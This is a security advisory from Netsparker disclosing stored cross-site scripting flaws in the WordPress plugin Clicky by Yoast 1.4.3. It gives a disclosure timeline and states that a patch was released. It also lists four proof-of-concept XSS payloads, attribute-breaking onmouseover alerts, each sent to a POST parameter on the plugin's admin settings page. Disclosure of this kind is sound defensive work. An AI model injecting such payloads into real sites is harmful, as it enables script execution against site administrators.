Information
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Advisory by Netsparker
Name: Stored Multiple XSS Vulnerabilities in Clicky by Yoast 1.4.3
Affected Software : Clicky By Yoast 1.4.3
Affected Versions: 1.4.3 and possibly below
Vendor Homepage : https://wordpress.org/plugins/wordpress-seo/ 
Vulnerability Type : Cross-site Scripting
Severity : Important
Status : Fixed
Netsparker Advisory Reference : NS-16-008

Technical Details
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Proof of Concept URLs for XSS vulnerabilities in Clicky by Yoast 1.4.3:

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name admin_site_key
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x000136)

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name site_id
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x0000DA)

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name site_key
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x000108)

URL /wordpress/wp-admin/options-general.php?page=clicky
Parameter Name outbound_pattern
Parameter Type POST
Attack Pattern '" onmouseover= alert(0x0001EE)

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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29 Jun 2016 - First Contact
01 Jul 2016 - Vendor Replied
27 Jul 2016 - Advisory Released

Solution
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Patch released by Yoast SEO and annocunced here.

Credits & Authors
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These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
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Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.